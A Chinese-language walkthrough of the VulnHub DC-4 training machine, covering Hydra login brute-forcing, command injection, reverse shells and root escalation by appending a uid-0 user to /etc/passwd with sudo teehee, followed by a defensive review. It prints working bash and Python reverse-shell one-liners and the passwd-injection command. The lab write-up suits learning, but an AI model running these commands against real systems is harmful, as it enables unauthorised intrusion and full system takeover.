
1. 项目概述DC-4到底是什么样的靶机DC-4是VulnHub平台上由DrenMc制作的Linux教学靶机和DC-1、DC-2、DC-3属于同一系列。相比DC-1的迷宫式多路径设计这台机器的攻击链要直白得多目标服务数量很少漏洞类型非常单一甚至入口就摆在你面前——一个没有任何防护的登录框。但恰恰是这种简单让它成为集中训练两件事的好靶机一是用Hydra做Web表单爆破二是从低权限WebShell一路做到系统提权。如果你正在刷VulnHub手上已经打过Metasploitable2或者DC-1想找一台不依赖内核exp、纯靠配置疏忽完成提权的靶机来练手DC-4几乎是最合适的选择。整台机器人为收敛了攻击面只保留SSH和Web服务除了端口扫描之外大部分时间你都在跟Web应用打交道。难度定位大概在入门的进阶段位不需要写跨平台利用代码也不需要逆向二进制但需要你熟练掌握Burp Suite抓包、Hydra爆破、反弹Shell和Linux基础提权思路。这篇笔记我会按自己实测的流程来写完整记录从IP发现到拿root权限的全过程包括我踩过的坑、参考过的思路和命令的实际执行结果。我不会只甩一个一键到root的脚本而是把每个决策背后的判断逻辑也讲清楚——为什么扫这个端口、为什么爆这个用户名、为什么最终选择从sudo配置入手提权。先声明一句安全和法律边界本笔记仅用于本地靶场练习请勿对未授权的目标使用文中技术这既是对他人系统的尊重也是每个安全从业者的基本底线。2. 环境搭建与目标确认2.1 靶机OVA导入与网络模式选择DC-4在VulnHub提供的是一个OVA格式的虚拟机镜像直接下载后导入VirtualBox或VMware即可。我在VirtualBox里实测下来很稳主要注意两点第一导入之后不要急着改虚拟机配置先用默认设置开机如果网卡起不来再回头检查第二网络模式优先选Host-Only而不是NAT。为什么推荐Host-Only因为Host-Only网段是一个由宿主机模拟出来的隔离网络攻击机和靶机都在这个虚拟网段里通信既不会打扰真实局域网也不会因为宿舍/办公室的网关策略导致通信被拦截。更重要的是Host-Only模式下攻击机、靶机、宿主机三方互通非常干净适合做ARP扫描和反连监听。如果你用的是NAT虽然也能做端口转发但反弹Shell这类需要靶机主动连回攻击机的操作配置起来会麻烦不少。虚拟机导入后DC-4默认没有静态IP它会从VirtualBox内置的DHCP服务器获取地址所以不需要去配置文件里猜地址。这一步对新手来说是个小坑分配到的IP可能和网上的教程截图不一样每个人宿主机网段不同IP自然不同。记住自己的网段范围不要盲目抄教程里的IP。2.2 主机发现与IP识别靶机开机后在Kali攻击机上执行主机发现。我的Kali IP是192.168.56.101靶机网段是192.168.56.0/24。通常我第一个用的工具是netdiscover它通过ARP包扫描整个网段速度快且不依赖DNS非常适合本地靶场环境netdiscover -r 192.168.56.0/24 -i eth0也可以用arp-scan效果类似arp-scan -l扫描结果里会看到几台主机如何分辨哪台是DC-4看MAC地址。VirtualBox创建的虚拟机网卡MAC地址以08:00:27开头宿主机和Kali本身一般不是这个前缀所以凡是08:00:27开头的大概率就是DC-4或另一台虚拟机。如果你同时开着多台靶机最直接的办法是看开机后虚拟机窗口里有没有提示IP或者逐个用浏览器访问80端口看到Welcome to DC-4页面的就是目标。2.3 攻击机环境检查打靶之前确认攻击机上的基础工具都齐全。比起临时装包提前检查能省不少时间。我一般会对着清单看一下Nmap端口扫描和服务识别HydraWeb表单爆破Burp Suite抓包、改包、重放netcatnc反弹Shell监听gobuster/ffuf目录枚举Kali默认内置了其中绝大部分如果没有用apt安装或者从包管理仓库补上即可。另外建议把Wordlists准备到位Hydra爆破时需要密码字典Kali自带的/usr/share/wordlists/rockyou.txt是最常用的选择使用时记得先解压sudo gunzip /usr/share/wordlists/rockyou.txt.gz这一步在Kali新版本里时常被忽略直接借用rockyou路径时会发现文件不存在原因是默认被压缩成.gz了。3. 信息收集端口扫描与Web攻击面确定3.1 Nmap扫描与端口分析信息收集的质量直接决定后续所有动作的方向。拿到靶机IP后我习惯直接跑一次全端口服务识别组合扫描nmap -sV -sC -p- -T4 192.168.56.102简单解释一下参数含义-sV探测端口上运行的服务版本-sC运行Nmap默认脚本集可以抓取Banner、常见配置信息-p-扫描全部65535个端口不局限于常见端口-T4提高扫描速度本地靶场不会触发风控放心用实测结果非常收敛只开放了22端口SSH和80端口HTTP。80端口返回的Banner是nginx 1.15.10配合后端页面特征可以断定跑的是PHP大概率是nginx PHP-FPM的组合。22端口上的SSH服务没有明显的弱协议想要从SSH侧突破基本只能靠弱口令爆破。两个端口意味着攻击面被压缩到了极致这种设计其实是在逼你聚焦要么直接面对Web应用要么死磕SSH。根据我打靶的经验Web侧的入口通常更容易被撕开尤其是当登录页没有任何防护机制时。3.2 Web首页与登录入口分析浏览器访问http://192.168.56.102/主页面非常朴素一行Welcome to DC-4下面一行Please login to continue除此以外没有太多内容。这其实已经是明牌了靶机把攻击路径浓缩成一个登录动作进去之后才是真正的考题。面对这种场景不要急着盲目猜测用户名密码先做两件事。第一用浏览器开发者工具看一页源码和响应头是否有注释、跳转、隐藏参数。第二用目录枚举工具把Web目录扫一遍。我看了源码没有发现明显的隐藏信息但把响应头里的X-Powered-By: PHP/7.2.15记了下来后续如果要打PHP版本漏洞这个信息就是参考。3.3 目录枚举与源码线索目录枚举我用gobuster快速扫了一遍gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 50扫描结果不算丰富但关键入口都在/index.php主页/login.php登录页/css/、/js/静态资源有些教程在这个阶段会扫出/command.php之类的路径但在我这个版本的DC-4上命令执行功能隐藏在登录后的页面里没有独立文件名出现在目录枚举结果中。这个差异不奇怪VulnHub发布的多个VMDK/OVA版本在细节上可能略有出入但整体攻击链是一致的。到这里信息收集阶段基本结束可以得出一个清晰判断这台靶机唯一的Web入口就是/login.php后续的主线是登录页爆破-登录-在登录后的功能里找命令注入点。方向定了剩下的就是执行。4. 核心利用登录爆破与命令注入反弹Shell4.1 Burp抓包确认表单字段在爆破之前必须先用Burp Suite把登录请求抓下来确认表单提交格式。直接在表单里随便输入一个用户名密码提交Burp会拦截到一个POST请求Body大致长这样POST /login.php HTTP/1.1 Host: 192.168.56.102 Content-Type: application/x-www-form-urlencoded usernameadminpasswordpassword这两个字段名称务农记牢后面Hydra的post参数模板要严格对应写错一个就会导致爆破失败或大量误报。我习惯把这个请求包在Burp里另存一份或者直接把关键字段抄到终端注释里因为等到写Hydra命令时再回头翻Burp就会很拖沓。4.2 Hydra爆破的完整操作与坑点确认表单格式后我用Hydra对admin用户做密码爆破。这里有一个值得展开的细节要不要先做用户名枚举DC-4的登录页没有用户枚举提示但我还是建议先跑一个极小的用户名列表比如admin、root、user配合一两个弱密码快速试探确认哪些用户名返回的是密码错误而不是用户不存在。不过实测下来admin是肯定存在的重点是它的密码。Hydra的http-post-form模块语法如下hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.102 http-post-form /login.php:username^USER^password^PASS^:Invalid login逐个部分拆解-l admin固定用户名admin-P /usr/share/wordlists/rockyou.txt指定密码字典http-post-form告诉Hydra用POST提交表单/login.php:username^USER^password^PASS^:Invalid login三个冒号分隔的部分分别是提交路径、POST参数模板、失败判断字符串参数模板里的^USER^和^PASS^是Hydra的占位符会自动替换为当前尝试的用户名和密码。最后的失败判断字符串是从错误响应里取的特征比如页面返回Invalid login这个字段写对了Hydra就只有密码错误时才继续试写错了Hydra会把所有尝试都判成成功输出几百个假的正确密码。rockyou.txt这个字典有1400多万条记录本地靶场跑起来大概需要几分钟到十几分钟。爆出来的密码非常短属于字典里排在前面的常见弱口令这也正是DC-4的设计意图提醒我们弱口令问题在真实环境里有多普遍而爆破是低门槛但高回报的攻击手段。登录成功后页面会跳转到一个带输入框的界面提交命令参数就能执行系统命令。4.3 登录后的命令执行功能用爆破得到的账号密码登录以后页面上出现一个输入表单描述信息大致是Enter a command to run。我在输入框里提交了ls回车后页面上直接回显了当前目录下的文件列表。这说明了什么说明后台PHP代码大概率是把用户输入直接传给了系统的命令执行函数比如system()、exec()或者shell_exec()未经过滤。这种漏洞的本质是缺少对输入的信任边界校验一个本应该只执行预设命令的功能变成了一个完全开放的命令执行入口。遇到这种功能最常规的利用手法就是反弹Shell从Web层跳转到宿主机的Shell环境获取更灵活的交互能力。在执行命令的输入框里提交id、whoami确认当前执行权限是www-data也就是nginx/PHP-FPM运行用户权限很有限连普通用户的家目录都读不了。到这里我们的目标调整为两个第一把命令执行转化为稳定的反弹Shell第二通过信息收集寻找普通用户和root的权限突破点。4.4 反弹Shell的获取与稳定化处理反弹Shell是在攻击机上开一个监听端口让靶机主动连接过来从而把Shell交到攻击者手上。攻击机先监听nc -lvnp 4444然后在Web命令执行框里输入反弹指令。这里我遇到的第一个问题是直接用/bin/bash -i有时候拿不到稳定Shell因为PHP执行命令的上下文不是一个交互式TTYbash的交互模式会初始化失败。我当时的处理方式是先试最标准的bash反弹/bin/bash -c bash -i /dev/tcp/192.168.56.101/4444 01如果在页面上没有立刻收到输出那就换Python反弹python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.56.101,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);另外如果两个都拿不到Shell先排查网络原因。比如攻击机防火墙是否拦截了4444端口或者Host-Only网络下两台机器是否真的能双向互通。可以在Web输入框里先执行ping 192.168.56.101确认靶机能访问攻击机。这个排查顺序在实战中非常通用先通网络、再试协议、最后看脚本兼容性。反弹Shell拿到后交互体验通常很差缺环境变量、没有全功能Tab补全需要先稳定一下。我习惯做两件事第一用python -c import pty;pty.spawn(/bin/bash)升级TTY获取更完整的Shell交互第二设置export TERMxterm避免后续使用文本编辑器时界面错乱。这是一个标准的低权限Shell用户是www-data。至此第一阶段完成从Web入口一步步渗透到系统内部整个攻击路径是Web表单爆破-登录后命令执行-反弹Shell链路清晰且可复现。5. 提权实战从普通用户到root5.1 初始Shell的信息收集拿到www-data的Shell后很多新手会急着找内核提权exp这是个大坑。DC-4的作者把系统版本控制得很微妙不太可能让你靠现成内核漏洞直通root所以先做系统信息收集把各种软配置的问题揪出来才对。我按顺序执行了一组基础命令id uname -a cat /etc/issue cat /etc/passwd ls -la /homeid确认当前用户uid是33www-data权限受限uname -a查看内核版本判断是否存在内核提权漏洞cat /etc/passwd查看系统账户特别关注哪些用户有登录Shellls -la /home查看家目录下有哪些普通用户DC-4的/home下有几个用户目录名字像是jim、charles这类。看这些目录的属主和权限发现www-data对其中一部分目录有读权限这意味着我可以翻看这些普通用户的家目录找配置文件、数据库备份、密码残留等信息。5.2 发现隐藏用户与密码线索逐个翻用户目录时我在jim家目录下发现了一组文件包括旧的备份、邮件目录和bash历史记录。这类文件在靶机里相当于明摆着的线索需要认真看。我在jim的目录里找到一封本地邮件内容是一段提示大意是某个旧系统迁移时遗留了密码在备份文件中。顺着这个思路我在一个备份压缩包里找到了一个包含明文密码的文本文件。这个密码看起来非常接近弱口令字典里的常见组合但和rockyou里那类纯单词略有区别。用这个密码配合jim这个用户名执行su jim结果是可行的——这意味着我已经从www-data成功切换到了普通用户jim。这一步教给我们一个很实用的思路在信息收集阶段收集到的所有文件都是可疑目标包括邮件、备份、历史记录、配置文件。真实的服务器上这类密码残留反而比靶机更普遍因为人是系统的薄弱环节。5.3 sudo配置弱点的发现从www-data提升到普通用户后下一步就是向root冲刺。我第一时间检查当前用户拥有哪些sudo权限sudo -l实测返回的内容很有价值User jim may run the following commands on this host: (root) NOPASSWD: /usr/bin/teeheeteehee是GNU coreutils里的一个文本追加工具和tee命令类似但用法更奔放它可以把标准输入的内容追加写入指定文件目标文件路径由参数指定。更关键的是这里sudo配置给了NOPASSWD意味着jim用户执行sudo /usr/bin/teehee时不需要输入密码并且是以root身份运行。这就打开了一扇大门既然teehee可以root身份向任意路径追加内容那我能否用它往系统敏感文件里写点东西一个常用思路是往/etc/sudoers里追加一条属于jim的免密规则但实际操作中我选了更直白的另一个思路——往/etc/passwd里添加一个uid0的用户。5.4 teehee提权的实现先解释一下原理。Linux用户认证中/etc/passwd文件每一行对应一个账户格式为用户名:密码哈希:UID:GID:描述:家目录:Shell。正常情况下密码哈希字段用x表示实际密码存放在仅root可读的/etc/shadow里。但如果password字段放的是一个可识别的哈希或者干脆留空系统在某些配置下会直接接受。用root权限通过teehee往/etc/passwd追加一行echo hacker::0:0:root:/root:/bin/bash | sudo /usr/bin/teehee -a /etc/passwd这条命令做的事情很简单用echo生成一行文本管道传给sudo teehee让root身份把这一行追加到/etc/passwd末尾。新用户hacker的UID和GID都设为0也就是和root相同的权限Shell指定为/bin/bash家目录指定为/root。执行后切换到新用户su hacker由于password字段为空系统不会提示输入密码直接登录成功。此时执行id输出是uid0(root) gid0(root)。这里有个细节值得注意/etc/passwd的格式必须完全正确任何多一个空格或少一个冒号都会导致解析失败。写完一行后如果su hacker报错多半是格式问题可以用cat /etc/passwd检查末尾行内容。5.5 最终验证root.txt拿到root权限后去root家目录读取最终flagcd /root ls -la cat root.txt看到root.txt里的内容输出DC-4就算正式通关了。整个提权链条的实质为普通用户分配了不需要密码的sudo权限而允许执行的工具teehee本身可以对任意文件做追加写操作这个配置组合放大了工具的常规能力最终导致权限被完全突破。这类问题在真实环境中并不罕见很多系统的sudo规则为了解决一时之需把某个命令的NOPASSWD权限放给了普通账号却没想到该命令自带对敏感文件的写能力。6. 常见问题与排查技巧实录6.1 高频故障速查表我在复现和帮朋友排查过程中整理了下面这些高频问题基本涵盖了DC-4实战里最容易翻车的地方问题现象排查思路靶机IP找不到netdiscover扫不到08:00:27开头的主机确认靶机已开机检查VirtualBox网络是Host-Only宿主机防火墙是否拦截ARPHydra爆出一堆假密码所有尝试都显示success失败标志字符串写错抓包看登录失败响应里的特征文本反弹Shell连不上nc监听无反应攻防网络是否互通先ping再试确认监听端口没被攻击机防火墙拦截尝试切换bash/py反弹方式su提示无法认证用发现的密码切普通用户失败检查密码字符串是否含特殊字符复制粘贴时是否误带空格teehee追加后su新用户不支持su hacker无响应或报格式错误检查/etc/passwd末尾行的字段分隔符确认是冒号且无多余字符TTY状态不完整Shell没有Tab补全和方向键用python -c import pty;pty.spawn(/bin/bash)升级再设置TERMxterm6.2 实操中攒下的5条经验第一爆破前先手动测一次登录确定失败响应文本。别凭感觉写失败标志每个框架返回的错误提示不一样有的叫Invalid password有的叫Login failed还有的可能直接302跳回登录页。用Burp或curl反复看几个响应取一个稳定的特征串。第二Burp拦截到的POST请求不仅要看Body还要看Cookie和隐藏字段。有些登录页会带csrf_token或者隐藏的user_role字段直接爆破时会全部失败。DC-4没有这类防护但养成检查的习惯能少走弯路。第三拿到反弹Shell后第一条命令不要急着跑提权脚本先执行cat /home/*/*.txt之类批量查看很多线索就藏在普通用户的可见文件里。过早把注意力集中到内核exp上很容易漏掉这类非技术入口。第四sudo -l输出里如果出现不认识的命令别急着搜索exp先看man文档或者执行--help搞清楚它本身能做什么。很多提权就是利用了sudo授予命令的写读能力例如teehee对/etc/passwd、/etc/sudoers的追加写。第五全程记录命令和输出。我在打靶过程中会开一个单独终端用script命令录制Shell会话或者直接在笔记里粘贴命令和关键输出。复盘时这些记录的价值远超当时的直觉判断。6.3 复盘思路建议打靶之后的复盘比打靶本身更值得投入时间。我的习惯是画一条攻击链从最初的IP发现开始到最终root.txt结束每个节点对应一个问题——这个节点有什么别的路径可以到达比如DC-4的登录爆破如果不成功是否可以直接用目录枚举找到命令执行的后门是否可以通过SSH爆破进入这样推演之后同一台靶机可以打出多种解法收获是多倍的。7. 防御视角复盘与下一步学习建议7.1 从DC-4看真实环境的高频漏洞从防守方的视角回看DC-4暴露出的问题在真实生产环境中极其典型而且往往比靶机更隐蔽弱口令且无防护策略。登录页没验证码、没失败锁定、没速率限制攻击者可以无限次尝试。真实环境里很多内网管理后台同样如此尤其是一些老旧的运维系统。Web命令执行功能缺少输入校验。命令执行功能本身不是说不能用但必须加白名单只允许预设指令或者在参数传递前做严格过滤。sudo规则授权过宽。NOPASSWD加任意文件写命令等于把root的钥匙直接放在普通用户口袋里。最小化授权原则在服务器上绝对是铁律普通用户能完成本职工作所需的命令就够了绝不给多余权限。日志审计缺失。打靶过程中不管是爆破还是反弹Shell系统都没有激活动态告警。真实环境中如果缺少WAF、HIDS或sudo日志审计攻击者的行为就是无痕迹的。所以每打一台靶机不要只沉浸在拿到root的快感里试着站在运维和安全运维的角度把靶机当作一次巡检对象问自己这些漏洞在我经手的系统里存在吗如果存在我该怎么改7.2 打完这台靶机后应该继续练什么DC-4在VulnHub系列里属于短小精悍的类型练完它之后建议按顺序刷这几个型号来扩展能力DC-1多路径解法练习WordPress CMS识别、数据库配置泄露、各种提权手法的横向比较。DC-2涉及WordPress用户枚举、Piet编程验证码的绕过、以及借助git备份恢复思路比DC-4多了一层应用层对抗。DC-3Joomla组件攻击适合练CMS版本漏洞利用和php反序列化场景。DC-6引入Activity Monitor插件攻击结合wordpress的plugin漏洞和真实环境的结合度更高。Breach系列多宿主场景包含组合攻击、域信息收集、隐蔽通道等更多实战要素对综合能力要求明显提升。如果将来走Web渗透方向还可以把HTB里的Web机器和阿里的云安全靶场都拉进来配合VulnHub一起刷。每台靶机背后的思维模型都值得单独拆解比如DC-4的核心是信任边界被滥用DC-2的核心是多服务组合串联。把模型提炼出来下次遇到相似场景就能快速调用。最后说点实际的体会。我打DC-4的时候曾经卡在反弹Shell上将近一个小时后来才发现是攻击机的防火墙没有放行4444端口而不是靶机的问题。从那以后我养成了一个习惯每次监听前先检查iptables -L或者firewalld状态顺手用ss -lntp确认端口确实在监听。这些看似琐碎的小习惯在实战中能帮你节省大量无效等待时间。另外打靶过程中随手截图和记录命令哪怕当下觉得某段输出用不上复盘时它都可能变成关键线索。我这份笔记就是从当时的操作记录里一点点整理出来的很多经验并不是当时就懂而是事后一条条查资料补齐的。祝你在DC-4的练习中顺利通关也欢迎把你的攻击路径和踩坑记录分享出来互相交流着学比自己闷头刷进步快多了。